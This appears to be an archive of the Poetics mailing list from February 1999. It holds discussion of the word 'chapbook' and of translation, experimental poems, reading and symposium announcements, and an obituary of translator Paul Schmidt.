As far as I am aware the word arose in the 19th century when the first pamphlets were published and made available to poor masses who after education became compulsory in the Victorian era found themselves able to read.

Charles Dickens' novels were first serialised and published in this way - a chapter at a time.

They usual sold for a penny and were often known as Penny Dreadfuls
especially when the contents consisted of gruesome stories about Jack the Ripper and his ilk.

They were also known as cheap-o-books and this got corrupted into chapbook.

Others will no doubt have variations on or alternatives to this theory.

Here endeth today's history lesson.

Gerald England

Gerald, Christine and Craig England,
NHI Review, Aabye's Baby, Haiku Talk, Zimmerzine, Netmiser, Cyberscribers.
http://www.nhi.clara.net/index.htm

The word does indeed stem from the early nineteenth-century, but it derives from the far older word, "chapman" (from Old English, ceapman), which denoted the seller of, among other things, chapbooks (collections of ballads, tracts, penny-dreadfuls, etc.) Interestingly, "chap", a contraction of chapman, came to mean the purchaser of the chapman's wares, rather than the hawker himself. I believe there is also a word "chap-money", which signified the change the "chap" (buyer) received from the "chapman" on purchasing, say, a "chapbook".

Alex Davis

> re chapbook, the first element is presumably identical with 'cheap-' meaning to sell; a chapbook being hawked round?

- The OED confirms this; chapbooks being the modern name applied by book collectors to specimens of popular literature (tales, ballads, tracts in pamphlets) circulated by itinerant dealers or chapmen. First citing 1824.

> The North English equivalent was 'cowp'. While if you exchanged goods, the difference in value was a money sum called a 'boot'. Or you could simply 'sell' (from OE root = give).

- and, of course, the cowp-boot sale is still popular in the region...

Richard Caddell

The OED concurs with early 19th C, giving first use 1824, attributed to Dibdin - interestingly, since that locates the word within the specialised vocabulary of bibliophiles, cataloguers, antiquarians & what have you rather than a wider vernacular. And the OED sticks with that definition: 'A modern name applied by book-collectors and others to specimens of the popular literature which was formerly circulated by itinerant dealers or chapmen, consisting chiefly of small pamphlets of popular tales, ballads, tracts, etc.' No suggestion, in other words, that the publishers of such items called them 'chapbooks' - it's entirely retrospective - and no secondary meaning given. The Collins definition follows suit & they're the only dictionaries I have handy. No coverage, then, of the sense in which various contemporary poetry publishers have called their pamphlets 'chapbooks' & so we're proved invisible again - however much we like to regard our wares as 'popular literature'. -- Alan Halsey

Probably a lot of the current sense of the word derives from its reappropriation by Harold Monro for his poetry magazine The Chapbook around 1920.

Ian Patterson

Click on this link to vote for my site. http://conline.net/vote.mv?id=1780

Click on this link to visit my site.
http://www.geocities.com/Athens/Academy/1127/

"Poetry is what the future makes of it." John Garner

↑ Index

232. Harold Teichman

Re: Steiner... (misc remarks on translation)

Sat 20 Feb 1999

(((This is my third attempt to post this in this season of server crashes. Please ignore if you have already restored an earlier version.)))

Since Jamie Ferguson, in his interesting post, has "pulled me onto the open stage", let me make a few disjointed remarks on translation, a topic that interests me too:

1. Re Steiner: I somehow transposed the titles "After Babel" and "Real Presences" in my mind (middle-aged senility). The latter book is the one I managed to read about half of some time ago. I haven't cracked "After Babel" yet, but I thank Jamie for pointing me to its chapters. I guess my mixed sympathies with Steiner have to do with his wearing his enviable learning so heavily, failing to understand the late Wittgenstein, and cranking (in every sense) out synoptic generalizations by the tome-load, like some hypertrophied flack for Chicago's Great Books. Or at least so I remember; it's been a while. I will check out "After Babel", hoping I've been unfair to Steiner (whose book on Heidegger has been helpful to me, I admit).

2. Much contemporary translation of poetry slavishly falls foul of the "semantic lineation fallacy", which dictates that line-breaks in the target language must stick as close to those indicated by the syntactic (and thus semantic) phrase structure of the source text as possible. (That's my Steinerian generalization of the day.) This is one contribution to the generally stilted, flat, arbitrarily lineated prose that often results.

3. A plug for a recent translation frisson of mine: Stacy Doris's wonderful versions of Esther Tellerman in Burning Deck's "Serie d'ecriture no. 7", which seems to be a very good collection of translations in general—I know it’s a few years old, but I only just got a copy.

4. A couple of years ago, Ira Lightman posted an interesting note on this list questioning the value of homophonic translation. I must say that most h.t. I've seen just strikes me as self-indulgence. Anyone's counterexamples would be welcome.

5. I just picked up a copy of Schulte and Biguenet’s "Theories of Translation", a collection of papers. The first one I read was R. Jakobson’s "On linguistic aspects of translation", which contains such appalling banalities as the following (I confess this is my first acquaintance with the esteemed Formalist):

"An array of linguistic signs is needed to introduce a new word."

"A faculty of speaking a given language implies a faculty of talking about this language."

"All cognitive experience and its classification is conveyable in any existing language."

"No lack of grammatical device in the language translated into makes impossible a literal translation of the entire conceptual information contained in the original."

No argument at all is deemed necessary to support these assertions, which probably would be thoughtlessly assented to by the average high school teacher. Dead brilliant these semioticians, with their apparatus of codes and -emes and -onyms, but they haven’t read Wittgenstein, now have they?

Regards to everyone,
Harold Teichman

↑ Index

233. A. Jenn Sondheim
MM (testing)
Sat 20 Feb 1999

/

MM

this:yes:testing:two:two
Would testing mind you compiling, this, with us?
Your neuralware is in my wetware:
gone worlds of armatures supporting what's left of me in the midst of wires and motors:
ruined prosthetics hollowed out where dismal thoughts are felt:
compilation across ruined programs extending skins with difficulty::
extensions to libraries controlled by data-ports:
Would compilation across ruined programs extending skins with difficulty mind you compiling, gone worlds of armatures, supporting what's left of me in the midst of wires and motors?
Your lovely lost realms of mis-configured bits and bytes in legacy systems are in my contrary clean rooms:
Ah, passion eaten by julu-of-the-open-arms and julu-depressed:
desperate program subroutines as i extend myself through myself:
to you you you:

skeins of glimmering integrated circuits reflect laser vectors carrying me: to you you you:
crawling, trying to stand, rocky-dirt-stumbling, bruised and wanton:
broken while-until loops lending themselves to my prosthetic arms:
Your contrary functors are in my uneasy broken while-until loops:
lending themselves to my prosthetic arms:
Your penis seeps into my broken while-until loops:
lending themselves to my prosthetic arms::
turning me Julu-Jennifer

↑ Index

234. sylvester pollet
Sunday reading
Sat 20 Feb 1999

I don't suppose it's too likely any of you would be passing through Blue Hill, Maine tomorrow at 4, but if you were, & wanted to hear me read, you could come to the Liberty School. That's a sort of alternative high school, started by Arnold Greenberg, who used to run the Left Bank Cafe. $3. admission to support the student literary magazine. Not sure what I'll be reading. Here's one from very long ago, early 60s, I think. Robert Duncan said he liked it. The little "e" is the "ieme" superscript I can't reproduce here.

e xiv arrondissement

the lion of Denfert-Rochereau cast 18something
of so-and-so many cannons

2 or 3 words.
it shouldn't take more than that.

↑ Index

235. Jordan Davis
Hymn to Substitution
Sat 20 Feb 1999

Tut tut!
All praise idiot math!
Crunching old snow under new shoes
O substitution
We love your donuts
Your doomsayers doomsdayers doomsters Doors
Doorbells
Do-or-die doorprize.
All praise doorprize!

    -Subftitution refpondebat-

Don't, Don Quixote!
Donor donnybrook
Donnee dong
Donnee dominique.
Don't!
Dolorous dolomite Dolly Varden trout!

↑ Index

236. Loss Pequen~o Glazier
Deluxe Rubber Chicken #2
Sat 20 Feb 1999

I am pleased to announce that the second issue of Deluxe Rubber Chicken now available on the web.

The issue features work by Mark Amerika, Peter Balestrieri, Michael Basinski, Laurel Beckman, John M. Bennett, Ryan Bigler, Dan Carey, Steve Carll, Jennifer Drake, Craig Dworkin, Ray Federman, Neil Hennessy, Charlie Keil, Jackson Mac Low, Steve McCaffery, Eileen Myles, Ron Padgett, Nate Patrus, Mark Peters, Sal Salasin, Susan M. Schultz, Aaron Armstrong Skomra, G.P. Skratz, Alan Myouka Sondheim, Brian Kim Stefans, Ficus strangulensis and Uncle Eddy.

It is available directly from the EPC home page, http://writing.upenn.edu/epc/

↑ Index

237. Elizabeth Treadwell
prose: definitions
Sun 21 Feb 1999

Dear Dodie et al- I just thought of what I seek in writing & reading:

Poetry: something thorough and hollow

Prose: something partial and dense (as can be.)

Also from Douglas Messerli's intro to Mr Knife Miss Fork # 1, he writes:

"...poetry does not so much explore where we have been (the 'history' of language and people that is at the heart of narrative) but....where we might possibly arrive"

cheers
Elizabeth T.

ps new at the lucy site: poems by Brenda Iijima

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

238. Charles Bernstein
Goodbye, Paul (Paul Schmidt 1934-1999)
Sun 21 Feb 1999

Very sad to find an obituary in the NY Times today for Paul Schmidt, who I got to know in the mid-80s and very much admired. Of his work, I think primarily of Paul's three-volume translation of Khlebnikov, published by Harvard University Press (the final, long delayed, third volume of the poems came out in 1997) -- because that work was so important to me, and I had the chance to talk to Paul about it. But he is equally known for his libretti, his own poems, and his translation of Rimbaud, among many other projects.

Paul was 65 years old and in many ways at the height of his career. Here is yet another instance of that unspeakable horror that continues to plunder our culture and haunt its survivors. His death can't help but bring to mind the generations of poets (and artists and nonpoets and nonartists) ravaged by this scourge called AIDS.

--Ch.B.

****
Here is the Times's Obituary:

Paul Schmidt, Translator, Poet and Actor, Dies at 65

By STEPHEN HOLDEN

NEW YORK -- Paul Schmidt, a librettist, translator, poet, teacher and actor who collaborated with many major avant-garde theater artists, died at St. Luke's-Roosevelt Hospital Center on Friday. He was 65.

The cause of death was complications of AIDS, said his brother Jim.

Schmidt was known best for translating the complete works of Rimbaud and the plays of Chekhov. He also devoted many years to translating the complete works of Velemir Khlebnikov, a little-known Russian poet who died of malnutrition in 1922 at the age of 37. A production of Khlebnikov's play "Zangezi," first seen in Los Angeles in 1986 and directed by Peter Sellars (it was later staged at the Brooklyn Academy of Music) was one of Schmidt's several notable collaborations with leading experimental directors.

Another was his libretto for "Alice," an adaptation of Lewis Carroll's "Alice's Adventures in Wonderland" and "Through the Looking Glass," which was a high point of the Brooklyn Academy of Music's Next Wave Festival in 1995.

A collaboration with the director Robert Wilson and the composer Tom Waits, "Alice" was praised by The New York Times for elucidating "an international theatrical style in which Minimalism, German Expressionism, Japanese kabuki and American pop bump up against one another in a grand, eye-catching pageant."

Schmidt's libretto was described as capturing "a strain of late-19th-century romantic lyricism and drawing it out with a graceful literary refinement."

For the Wooster Group's 1990 theater piece, "Brace Up!," Schmidt supplied a translation of Chekhov's "Three Sisters" that incorporated dance sequences and video, and he also appeared in the production. It was one of many small roles he played on the stage. For JoAnne Akalaitis' 1989 production at the Guthrie Theater in Minneapolis of Jean Genet's five-and-a-half-hour, 100-character play "The Screens," he created the text out of three versions the playwright had left behind.

Other playwrights whose works he translated for theater productions include Gogol, Brecht and Marivaux. "Black Sea Follies," his original play about Stalin and Shostakovich (with music by the composer) was presented by Playwrights Horizons and the Music Theater Group in 1986.

Schmidt was born in Brooklyn and attended Colgate and Harvard, where he wrote his dissertation for his doctorate in Slavic languages on the influential Russian director Vsevolod Meyerhold. While at Harvard, he became involved with a now-legendary circle of friends who produced plays at the Agassiz Theater in Cambridge in the summers.

The group included the actors Lindsay Crouse, Tommy Lee Jones, John Lithgow, Kathryn Walker, Stockard Channing (to whom Schmidt was married for seven years) and the director and writer Tim Mayer, whose collected poems and plays he edited under the title "Running From America."

From 1958 to 1960, he served in the U.S. Army as a member of Army intelligence. From 1967 to 1976, he taught Slavic languages at the University of Texas in Austin. He published two volumes of poetry, "Night Life" and "Winter Solstice" (both 1996, Painted Leaf Press).

A collection of Rimbaud translations with photographs by Robert Mapplethorpe, titled "A Season in Hell," was in published in 1997 (Little, Brown).

In addition to his brother Jim, he is survived by three sisters, Mary Kay Murray, Margaret Sand and Anne Schmidt; another brother, Thomas, and his friend, Mark Bennett.

February 21, 1999 (c) The New York Times

↑ Index

239. A. Jenn Sondheim

Tha Hermit

Sun 21 Feb 1999

''

Tha Hermit

A slmpla lp$f pf bra$d
I survive by Windows into Your Late-Night Soul you Will Find me Alway and Forever Thru the Hart of You Tha Harmlt pf Bhrnlng Craak
The Shovel
The Hoe
The Pick
The Winnowing-Basket of Stars
The Blue Stars
Tha Harmlt pf Bhrnlng Craak for whom A slmpla lp$f pf bra$d
Doth give God all His Due Ascanslpn lntp D$rk $nd Phra Ha$van,
Oh Ha$vanly Sphl,
My Bpnas $ra Ch$rrad ln Bhrnlng Craak,
My Sphl pn Flra ln Bhrnlng Craak

My Bones are Charred in Burning Creek,
My Soul on Fire in Burning Creek
I Drlnk tha Slmpla Pla$shras pf tha Bhrnlng Craak
I Shrvlva ln Slcknass $nd ln Ha$lth,
My Sphl Fllls Yph, O Wprld
The Winnowing Basket of Stars
The Comet
The Shovel
The Hoe
The Pick
The Blue Stars
The Winnowing Basket of Stars
The Pick is out,
My Sphl pn Fira ln Bhrnlng Craak,
The Blue Plough
My Soul Connected to The Blue Plough
My Sphl pn Fira in Bhrnlng Craak

↑ Index

240. Michael Franco
BOSTON READINGS
Mon 22 Feb 1999

MICHAEL FRANCO reads from HOW TO LIVE AS A SINGLE NATURAL BEING THE DOGMATIC NATURE OF EXPERIENCE [ZOLAND 1998] with Zoland Poet JOHN MALONEY at Blacksmith House, Cambridge, Ma Monday 2-22-99 @8:15pm $3.00

Word of Mouth @ Waterstone's, Newbury St, Boston:
JOSEPH TORRA & ED BARRETT read from their collaboration WATTEAU SKY [Gian
Lombardo's Qual Press] joined by PATRICIA PRUITT reading from her recently issued SESSIONS [Jenson & Daniels]
TUESDAY 2-23-1999
7:PM $3.00

info [redacted]

↑ Index

241. louis stroffolino
Re: ASIDE / FROM THE BATTLE
Mon 22 Feb 1999

I Like Jessica Pompeii's poem, and consider it less "an aside" than a more intimate enactment (if not mere representation) that I take at least as serious as the more abstract formulations that have been offered about men and women "in general"--

"he said chess isn't art
it's tantamount to war

i don't see any guns
or maybe I'm missing in action"

I love this in part because I feel rebuked ("a palpable hit") more than I do by reading this particular C.D. Wright poem (early, it's called "Drift" I think) that prompted this more (too?) abstract response that's only a beginning but what the heck?

( N.B---this is not meant as a comment on the quality of Wright's work in general, and not even meant to be a definitive assessment of the aesthetic and/or ethical quality of the poem, it's too early for that--- I am only offering some thoughts that I think relate to "the battle of the sexes" thread as well as to the book a friend loaned me i cannot say i hate....)

A history says it's easier for a woman to speak now and be heard than it has ever been before, and if you lament the present, you're lamenting the historical present, and happen to be a male, therefore, then, you must be hostile to women... But I wonder if women really are allowed (by themselves, at least as much as by men) to speak now and be heard than before?

and, sure, I cannot see progress without decay but this doesn't mean I'm lamenting for what's been lost since "the good old days of female subjectification" as much as wondering whether women becoming more like men have been in civilization really changes anything for the better for women. I am not overly fond of the way men have "traditionally" been "in civilized society," and can't imagine a woman, as such, could be worse, but can they be better? can they move beyond the mere aesthetic, style over substance, with books (that have now become chapbooks) and Ph.Ds (that are now like B.As) that have characterized the male status mongering. (I do not intend to stoop so low as to say "the increased entry of women into the work force is to blame for the alleged "increased difficulties" and malaise males find." I will spit at that sentiment wherever I find it--for life has always been difficult, for everyone... I cannot identify with my "male peers" any more than with females. I don't know, in what form, I will find those (or one) like-minded enough to help me in my search for a world in which women and men can be different than they have traditionally been (Laura Riding, for instance, is dead), beyond mere "equality" (as if women have realized, if you can't beat men join them) or "inversion" (in which men become househusbands). Such roles may be adapted as part of the search, but are insufficient in themselves... If there is a present I lament, it is not merely a historical one. I wonder if the feeling of being "shut up" more in what's called "poetry" today more than in what's called "prose" is informing this response. Unless you're willing to call this poetry (as much as I am willing to call Wrights' and Pompeiis' poetry), I am skeptical of the veneration accorded "poetry" (and "poetics" if this be not it) right now. Ah, this too may be seen as status-mongering! But it's not mere inversion. If "journal entries" are to "poetry" what "women" (traditionally) are to "men," then the aesthetic implications of feminism can cross genders and free women and men-- but the dehierchization is still at a very early phase...

So maybe we should talk about how ridiculous the idea of "music in poetry" is.....

chris

On Tue, 9 Feb 1999, Jessica Pompeii wrote:

> he hated the book
> I loaned him
> and if I loaned
> it to him
> he better know
> that there must be an ant of an > interest to fixate on after so much work reading the hole damn text
>
> this good poet told me
> abstractions
> were unbelievable
> in mystery stories
>
> (lucky for the rain
> music) “Thick As A Brick”
> my record player even skipping
>
> I said my brain needs
> exercise and a note pad
> I can’t see that many moves

> ahead F-
> he said, chess isn’t art
> it is tantamount to war
>
> I don’t see any guns
> or maybe I’m missing in action
>
> in workshop he asks
> circling the new grunts
> are you familiar with the canon of contemporary poetry?
>
> F- wants to go see
> the Van Gogh exhibit
> and I brought up all those peers and supportive donors
> of his and she said
> his brother collected him exclamation
> chortle
>
> what a pickle of/ in > formal d’ hide
> suspension I think this
> classic scorpion curls
>
> my ear has survived a tongue lashing
> cliche and I suck
> the wounds temporarily
> but with rook determination and
> calculatored
> fading battery
>
> it doesn't make for reality style wall hangings
> but what secret numbers and candy coated pop > corn surprises come with excavation
> bitch

↑ Index

242. Rachel Levitsky

Jeff Oppenheim

Thu 22 Feb 2001

Hello,

Does anyone have a phone number, or email for Jeff Oppenheim?

Thanks,
RD Levitsky

↑ Index

243. lee ann brown

Lee Ann's Polyverse Reading Tour

Mon 22 Feb 1999

Lee Ann Brown's
Spring Reading Tour & Related Poetry Appearances

If you're in any of these cities I'd love to see you!

February 24: Rose Cafe, Los Angeles, 220 Rose Avenue
Santa Monica, CA (corner of Main Street and Rose Avenue), >>> (Wednesday, 8pm).
>>>
February 28: Sun & Moon Press Salon, 6026 Wilshire Boulevard, >>> Los Angeles, CA, 4pm, [redacted].
>>>
>>>March 5-7: UC San Diego "Page Mother" conference >>> (Friday-Saturday)
>>> a conference celebrating California women >>> poets as editors and publishers, on March 5th >>> and 6th. For more information about this event, >>> please check their website:
>>> http://orpheus.ucsd.edu/lit/pagemothers.html
March 6:
>>> "Mrs. Poetry the work of Bernadette >>>Mayer"
>>> Stephen Cope (UC San Diego)
>>> Leslie Scalapino (O Books)
>>> Lee Ann Brown (Tender Buttons)
>>> Juliana Spahr (Chain)

March 7: Page Mothers Group Reading: 2pm.

March 9: Reading with Barbara Guest & Bernadette Mayer,
New College of California, Cultural Center, 777 Valencia,
San Francisco, CA, 7pm, $5 (Tuesday).

March 18: Reading with Kenji Yuda, Subtext Series, Seattle
Speakeasy Cafe, 2034 2nd Avenue, 7:30pm.

> March 19-20: 2-Day Workshop: "Excess & I" Seattle (Subtext).
>
> (For more info on Subtext Series: > www.speakeasy.org/subtext/)

> March 27-28: Reading & Workshop: "Excess & I"
> Vancouver, BC
> Inaugural Party celebrating
> The Kootenay School of Writing's New Digs:
>
> Reading -- Saturday March 27, 8 pm at the Kootenay School of Writing's new location at 400 Smithe St (at Richards) Suite 103.
>
> Workshop "Excess & I"
> Friday March 26, 7 pm - 9 pm & Saturday March 27, 3 pm - 5 pm at KSW's new location. Check out NEW web page at www.ksw.net

>>>Back in NYC:
>>>
>>>April 9: Appearing in Midnight Reading: "Polymorphously Per Verse" >>> hosted by Elena Alexander, People's Poetry Festival,
>>> No Moore, 234 West Broadway, (at No. Moore), (212)
>> >[redacted].
>>>
>>>April 9-11: Barnard Innovative Women's Poetry Festival
>>> Where the Lyric Tradition Meets Language Poetry:
Innovation in Contemporary American Poetry by Women.
Panel on Bernadette Mayer, Sat morning.
Info: Tiffany Dugan <[redacted]>, coordinator.
>>>
>>>_Polyverse_
>>>can be ordered from Sun & Moon Press: [redacted] >>>or Small Press Distribution [redacted].
>>>ISBN 1-557132-90-9 $11.95 (196 p)

The Show must go on!
Look for future information on NYC Book Party, hopefully in April or May.

Z Y X W V U T S R Q P O N M L K J I H G F E D C B A

Lee Ann Brown
Tender Buttons
PO Box 13, Cooper Station
New York, NY 10276

[redacted]

↑ Index

244. Noam Scheindlin
Gilbert/ La Roe / Moritz Reading
Mon 22 Feb 1999

ALAN GILBERT, BE LA ROE, and DENNIS MORITZ will be reading at the Rising Cafe Reading Series in Park Slope, Brooklyn, on Tuesday, March 2 at 7:30.

The Rising Cafe is located at 186 Fifth Avenue, Brooklyn. From Manhattan take either the N or R train (make sure the train is designated as local} to the Union Street Station. Walk one block North to Fifth Avenue.

↑ Index

245. Poetics List
CAC Funding Bill
Mon 22 Feb 1999

Karen McKevitt asked that this be sent to the list. Chris

State Senator Adam Schiff has reintroduced his proposal to invest $1 per Californian in the arts of our state. According to Senator Schiff, "This new legislation, SB 253, will continue our efforts to develop a sound infrastructure in California, one that adds to our economic and human potential and results in a more stable funding source for the arts." You may recall Senator Schiff was successful in getting a similar bill passed by the Assembly and Senate last year, only to have it vetoed by Gov. Wilson. The California Arts Advocates will keep you informed as this bill goes to committee. In the meantime, please write a letter to Senator Schiff thanking him for his continued strong support of the arts, for introducing SB 253, and to let him know you will support this bill as it moves through this legislative process. You can contact him at: The Honorable Adam Achiff State Capital Room 5080 Sacramento, CA 95814 916) [redacted] originally from Alan Ziter, California Arts Advocates Membership Chair [redacted] It is suggested that you cc your representatives.

Karen McKevitt

↑ Index

246. Poetics List
promised update
Mon 22 Feb 1999

All - as the Poetics List inbox continues to fill up with copies of messages rec'd (or not) during the mailhub problems, I'm going to try to pass on to the list posts that never appeared. In uncertain cases, I may be querying the original poster; in other cases not. If you happen to see a post that you sent out some time ago, or notice that the dates are peculiar on some of the recent posts, please don't be alarmed...

best, Chris

↑ Index

247. Poetics List
IET Symposium, Utrecht, 1999: Details + Registration Form
Mon 22 Feb 1999

Had to forward this manually (as will be the case with many of the older messages). Please take care to respond to the original sender, not to me or the list. thanks, Chris

---------- Original message (ID=624424F4) (206 lines) ----------

Date: Wed, 10 Feb 1999 21:21:59 +0000
To: [redacted]
From: Ric Allsopp <[redacted]> (by way of John Cayley)
Subject: IET Symposium, Utrecht, 1999: Details + Registration Form

Apologies for any cross postings. Please reply to: [redacted]

Writing Research Associates, UK/ NL * Utrecht School of the Arts, NL * Dartington College of Arts, UK

IN THE EVENT OF TEXT: EPHEMERALITIES OF WRITING
a second international symposium on writing & performance
Utrecht, Netherlands
April 28 - May 2, 1999

CONTACT:
Nirav Christophe
In the Event of Text

HKU Faculteit Theater
Janskerkhof 18
3512 BM Utrecht
Netherlands
email. [redacted]
tel. 0031 30 [redacted]
fax. 0031 30 [redacted]

'in the event of text' is a 5-day symposium on contemporary strategies in performance and writing with intensive workshops led by artists of international reputation and working with writing in various media. the four 3-day intensive workshops run in parallel, are based in practice, and will be concerned with ephemerality, exploration and process in differing media. the contents of the workshops feed into the 2-day conference weekend and provide a convergence of issues and debates in contemporary performance writing. workshops will be lead by Jason E. Bowman (visual artist), Paul Pourveur (playwright), Leslie Hill & Helen Paris (digital artists) & Sianed Jones (voice artist). further details of the workshops are available at <http://www.hku.nl/events/iet> or on request by post (see contact address above) from December 1998.

the conference will include papers, presentations and panel discussions around ideas of the ephemeralities of writing, and text as event. papers will include recent work on tactical media * poetics * telematics * authoring * post-dramatic texts * internet radio collaborations * text and memory.

'in the event of text' aims to explore, through work and discussion, the ways in which writing can be seen to function as a time-based, transient, ephemeral artform when played out in the context of different media and environments. curated work will take place under the following broad categories:

* the disappearing text and contemporary live performance * * the dispersal of written material through new interactive and sonic media * * electronic writings, cybertext and hypertext * * the local sites of mobilised writing including poetic and book-based practices *

emphasis is placed on performances, installations, readings, open showings and curated exhibitions as an integral part of the conference. a virtual cybertext collaboration will be initiated by writer in residence John Cayley. the first symposium in the series was held at dartington, england in april 1996. the conference language will be english.

contributors include:
* Fabienne Audéoud * Jason E. Bowman * Arnold Dreyblatt * David Garcia * Heidi Grundmann

* Leslie Hill & Helen Paris * Sianed Jones * Kirsten Lavers * Hans-Thies Lehmann * Tertia Longmire
* Jurrienne Ossewold * Paul Pourveur * Joan Retallack * Paul Sermon * Enno Stahl * Aaron Williamson

writer-in-residence: * John Cayley
exhibitions curator: * cris cheek
catalogue: * Sally Tallant

initiated & organized by: * Ric Allsopp * Caroline Bergvall * Nirav Christophe

writing research associates * email: [redacted] * website: http://huizen.dds.nl/~sdela/wra * conference website: http://www.hku.nl/events/iet * conference email: [redacted] conference contact address: IET * HKU Faculteit Theater * Janskerkhof 18 * 3512 BM * Utrecht * NL

****
REGISTRATION FORM: [also available at <http://www.hku.nl/events/iet>]

PLEASE SEND TO: [redacted] OR TO CONTACTADDRESS ABOVE]

in the event of text: ephemeralities of writing
a second international symposium on writing & performance
utrecht, netherlands
april 28 - may 2 * 1999

Personal Details:
*full name:
*address:
*city:
*country:
*postcode:
*tel:
*email:
*fax:

preferred means of communication:
* mail
* fax
* email

------ Dates: 'in the event of text * ephemeralities of writing' will open on wednesday 28 april at 12.00 (registration 10.00-12.00) and finish on sunday 2 may at 18.00. * registration for conference only (friday 30 april - sunday 2 may) will be between 17.00 - 18.00 on friday 30 april (conference begins at18.00).

Fees:
fees include all conference events, performances and exhibitions; tea, coffee, lunch, and supper on friday 30 april only. accommodation is NOT included.

[ ] workshop & conference inclusive (5 days) NFL. 500 (£175) [ ] conference only (2 days) NFL. 250 (£90)

Workshop Choice:

(please indicate first & second choices)

workshop 1: Paul Pourveur
workshop 2: Leslie Hill & Helen Paris
workshop 3: Jason E. Bowman
workshop 4: Sianed Jones

* early booking for workshops is advised as there is a maximum of 10 participants per workshop

---
Accommodation & Travel:

[participants will need to arrange their own accommodation and travel]

please send information:
* list of hotels and guesthouses
* travel information

Food:
lunch will be provided from wednesday 28 april - sunday may 2.
supper will be included on friday 30 april

Specific Needs:
dietary requirements
* vegetarian
* non-vegetarian
* other
* other needs: (please specify)

--------- Payment: payment in full should be made by april 1st EITHER by transfer to Postbank No. 2354345 in name of 'HKU/Theater Utrecht' mentioning 'IET' OR by UK or NL bank cheque/ Eurocheque/ International postal or money order made payable to 'HKU/Theater Utrecht' and sent to address below

PLEASE RETURN TO:
Nirav Christophe * in the event of text * HKU Faculteit Theater *
Janskerkhof 18 * 3512 BM Utrecht * NL
 * email. [redacted] * tel. 0031 30 [redacted] * fax. 0031 30 232 2465

*END****

~~~~~~~~~~~~
Writing Research Associates, UK
Amberleigh, East Allington, Totnes,
Devon UK. TQ9 7RD
tel. 0044 (0)1548 521436
    0044 (0)1803 861631
fax. 0044 (0)1803 866053
email. [redacted]
www. http://huizen.dds.nl/~sdela/wra

↑ Index

248. Poetics List
Weatherly Whereabouts
Mon 22 Feb 1999

---------- Original message (ID=691704D3) (21 lines) ----------

Date: Thu, 11 Feb 1999 13:23:41 -0800
To: [redacted]
From: Aldon Nielsen <[redacted]>
Subject: Weatherly Whereabouts

> Some years ago, people on this list knew how to reach poet Tom Weatherly -- Can anybody supply a current address for him? I need to contact him for permission to reprint some poems --

↑ Index

249. Poetics List
Ted Enslin
Mon 22 Feb 1999

---------- Original message (ID=087E4B9E) (30 lines)

From: [redacted] (Burt Hatlen)
To: [redacted]
Date: Thu, 11 Feb 1999 08:10:30 -0500
Subject: Ted Enslin
~~~~~~~~~~~~

As some of you may know, The National Poetry Foundation is publishing the Selected Poems of Ted Enslin. It is at press and the paperbacks should be available in two or three weeks. Today we are putting together copy for the dustjacket of the hardcover edition, and we find ourselves with some blank space on the back cover. We have two good quotes culled from reviews of Enslin's work. But if anyone out there would like to e-mail us a jacket blurb of three or four sentences, we might have space for it on the cover. Hank Lazar, I'm thinking especially of you. But I hope there might be some other Enslin fans on the list, too.

Please backchannel me at [redacted]

Burt Hatlen

↑ Index

250. Poetics List

you

Mon 22 Feb 1999

---------- Original message (ID=2865F428) (42 lines) ----------

Date: Tue, 9 Feb 1999 21:38:43 -0700
To: [redacted]
From: [redacted] (Billy Little) Subject: you

songet/ghasp valentine(for U, ugly as u iz)

lizzen kidden fyoulish is
of the ezzens even valuble anticipated even enabling all mbracing Kayressing chissing zensational
thirty finga whispa thin romeo translucent gab lubricant jeyev
luce snort sy love iz st range
or pennytrait sundercome
vaginable penisphilia
enviable hysterectal askidental
xeptional njoymeantal st eerieo
ewrecked efecked shiv
ering dryppe dryppe
grip lyppe letter wryppe

forbidden plateau fallen body dojo
4 song st.

nowhere, b.c. V0R1Z0
canadaddy

↑ Index

251. Poetics List
Re: [Fwd: literary criticism]
Mon 22 Feb 1999

---------- Original message (ID=BC22C34D) (23 lines) ----------

From: Michael Boughn <[redacted]>
Subject: Re: [Fwd: literary criticism]
To: [redacted]
Date: Fri, 12 Feb 1999 08:33:41 -0500 (EST)

Julanna, you might check out Stanley Cavell's _Disowning Knowledge in Six Plays of Shakespeare" or alternatively (on Romanticism) _In Quest of the Ordinary_. Both I think meet your criteria.

Best,
Mike

↑ Index

252. Poetics List
MAY
Mon 22 Feb 1999

---------- Original message (ID=2115CA28) (49 lines) ----------

Date: Tue, 9 Feb 1999 21:36:58 +0000
To: [redacted]
From: Alaric Sumner <[redacted]>
Subject: MAY
Cc: [redacted]

PLEASE NOTE

THE TEXTIMAGESOUND ISSUE OF PERIHELION WHICH Alaric Sumner IS EDITING IS THE SEPTEMBER ISSUE (text is visual, language is soundimage, image is textual)

THE MAY ISSUE CALL FOR SUBMISSIONS IS AS FOLLOWS:

_____

The May 1999 issue of Perihelion will be guest edited by Peter Howard.

The theme for this issue of Perihelion is 'Nationality or Not' and will explore questions of how nationality and location influences poetry (and vice versa) and whether telecommunications breaks down or changes these influences. Poems, essays and discussions that relate to this theme, directly or tangentially, are particularly welcomed.

Submission Period: February 15th through April 15th, 1999

-- Send up to five poems in the body of your email message (no attachments without prior query) to [redacted] -- Submissions must be unpublished (newsgroup or workshop postings are not considered publication) -- Please include a short biography

If you want to sound Peter out on an idea for a critical article, please do. If you'd be interested in taking part in an email discussion of the them, to be reproduced in the issue, let him know mailto:[redacted]

Perihelion is at: http://webdelsol.com/Perihelion/

↑ Index

253. Mark Prejsnar
Goodbye Paul, Goodby Khlebnikov
Mon 22 Feb 1999

I was very interested to read the Times obit yesterday. I knew a little of Schmidt's work, but learned rather more about what he'd done, from the Times.... There is one oddity, or rather i think maybe it's not odd at all: the reference in the obit is to "the little-known Russian poet Khlebnikov." Now this is very peculiar, and made me blink hard. Why this strangely insistant, not exactly accurate characterization? I mean, is he really "little-known" compared to Mayakovsky or Mandl'stam?? Well, yes sort of, but only if you specify a certain group of academics and intellectuals and poets, but a different (and argeuably more interesting) group would know, or know of, Khlebnikov as readily as the other two.... The very existence of the Harvard UP edition brings the need for this aside into question... To most common or garden variety intellectuals (not to mention the person-in-the-street) the "knownness" of Khlebnikov versus Ahkmatova or Blok is much of a muchness....Methinx the obit writer protests too much: It would seem that the phrase is really (ideologically) saying: the poet whom i and other right-thinking person believe should not be known to anyone..... It reminds me of those ignorant hack reviews (which i have critiqued on this list before) which attacked the superb bio, Poet Be Like God. One of them refered to Spicer as a poet who has had no influence... Maybe 